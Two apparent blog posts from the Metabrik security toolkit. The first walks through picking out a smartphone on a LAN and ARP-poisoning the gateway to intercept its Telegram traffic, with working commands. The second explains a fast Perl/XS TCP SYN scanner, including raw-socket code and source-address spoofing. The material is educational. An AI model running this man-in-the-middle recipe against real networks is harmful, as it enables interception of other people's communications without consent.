Is Telegram using encryption? How to discover it easily by yourself – Part 1

It is said that, by default, messages sent to a contact through Telegram -a messaging application for smartphones- are not encrypted. You have to enter a specific menu named “New Secret Chat” to enable end-to-end encryption. Let’s verify it is indeed the case by using some Briks.
Try by yourself using the Docker image:

docker pull metabrik/metabrik
docker run -it metabrik/metabrik

Let’s load some Briks for the work

We will need to perform a Man-in-The-Middle (MiTM) attack on our local network to allow interception of traffic from a smartphone to Telegram servers or remote peers. The network::arp Brik has such a function. We will also need to become a router, or the traffic will be lost: network::route comes to the rescue. Then we will have to analyse the traffic itself, we will use Briks network::read, network::stream and client::whois to locate Telegram IP addresses. We will also use lookup::oui to find a potential smartphone on the network.

use network::arp
use network::route
use network::read
use network::stream
use lookup::oui
use client::whois

Also, you have to execute an update Command on the lookup::oui Brik so it fetches the file from IEEE organization.

run lookup::oui update

Performing the MiTM attack

We will use ARP poisoning to perform a standard LAN MiTM attack. But we don’t want to poison everyone, we just want to listen to a smartphone traffic. We will use some ARP scanning technics to gather available neighbors, and we will perform a lookup on the MAC address to retrieve the vendor. This information will directly lead us to a smartphone.

run network::arp scan
my $scan = $RUN
my $mac = [ keys %{$RUN->{by_mac}} ]
run lookup::oui from_hex $mac->[0]
run lookup::oui from_hex $mac->[1]

Looks like we have found a Motorola smartphone. Perfect target for us. To gather its IP address, just issue a Command to ask data from a saved variable:

my $victim = $scan->{by_mac}{"5c:51:88:XX:XX:XX"}

Now, we want to intercept traffic between the victim and the Internet. Thus, we will attack the gateway. We have to find its IP address, configure our host as a network router, and we will be ready to perform the ARP poisoning:

my $victim = ""
run network::route default_ipv4_gateway
my $gateway = $RUN
run network::route enable_router_ipv4
run network::arp full_poison $victim $gateway



We have seen how to scan the local network in search for a specific device and how to launch a Man-in-The-Middle attack. This concludes the first part of this article. You may think it is a little bit short, but you will probably be eager to read the next part 🙂

Why Writing A TCP SYN Scanner In Perl Can Be Efficient

Everyone wants to write (or already did) its own TCP SYN scanner. Why? Because it is a fun exercise which will teach you a lot of things, like what raw sockets are and, more importantly, how to build packets.

Perl for the task

Some may argue that using Perl would be inefficient for such a task. Plain false. You can use Perl/XS to write part(s) of a program that require performance. That’s what we did with Net::Write::Fast: a module able to send packets over the network at speed of wires.

Design goals behind Net::Write::Fast

A few design goals were followed when writing this module:

  • TCP SYN scanner working over IPv4 and IPv6
  • Portable on at least Linux, FreeBSD and MacOS X
  • Perform a scan in a predictable way: we know when it will finish
  • Send packets over a transport layer socket

The transport layer socket

Usually, people tend to write packets using raw sockets directly from the network layer, requiring them to also craft the IP layer. And that’s a total waste of code and time. You can send your TCP or UDP packets without having to craft the IP header; no need to use the include IP header socket option.

To make it short, opening a raw socket within Net::Write::Fast was as simple as:

int fd;
fd = socket(v6 ? AF_INET6 : AF_INET, SOCK_RAW, IPPROTO_TCP);

The TCP header

So you did open a raw socket at the transport layer, now you just need to write the TCP layer. You don’t have to care about IP layer at all, and the differences of endianess from OS to OS for some of its fields (header length, for instance). Well, you still have to write the pseudo header so you can compute TCP checksum, but that’s another story.

Glueing C code to Perl

Full Perl/XS code can be found here. It is exactly like standard C code. But for the C function to be callable from Perl, we need to add a binding. It is a little bit tricky when you want to do it right. The prototype of the function is:

l4_send_tcp_syn_multi(src, dst, ports, pps, n, v6, warnings = NO_INIT)
      char *src
      SV   *dst
      SV   *ports
      int   pps
      int   n
      int   v6
      int   warnings

A forked sender process and a listener

Now everything is in place to send packets at the speed of wires. We still have to think about listening for answers and parsing them. Here, no need for Perl/XS for the listening task: you have Net::Frame::Dump module which is a pure Perl one.

Now, we need proof

Here is a screenshot from a TCP SYN scan of the TOP 1000 most common ports on the local network (256 hosts). We configure the scanner to send 2 times a probe, at a rate of 100 000 packets per second. If you do your math, you will see it should take 5 seconds and consume around 8 MB of bandwidth per second. One packet takes 20 bytes for IP header followed by 60 bytes for the TCP header plus its full options.

Of course, you can send at a greater speed, or change the number of tries to tweak your scanning process. Screenshot:


So, it took a little bit more than the 5 seconds estimation, but you have 2 or 3 seconds needed by the program to load and compile, and to wait at the end of sending process to gather remaining replies.

But what about IP source address spoofing?

Some may argue that we cannot spoof source IP address using transport layer sending. And that’s just wrong. You can do it by just adding an alias to your network interface, and using that as the source address for sending packets. It will be used right away by your transport layer raw socket.

Tweaking your TCP/IP stack

Under GNU/Linux, don’t forget to increase your send buffers. Or you will have the following error:

WARNING: Net::Write::Fast: sendto: ENOBUFS, sleeping for 1 second

# Increase send buffer to 100 MB
sysctl -w net.core.wmem_max=109051904
sysctl -w net.core.wmem_default=109051904


Writing a TCP SYN scanner in Perl is reliable, fast, and predictable. And of course, there is now a Brik for that within Metabrik, it is named network::portscan. Happy scanning, and don’t forget to follow us on Twitter: @metabrik.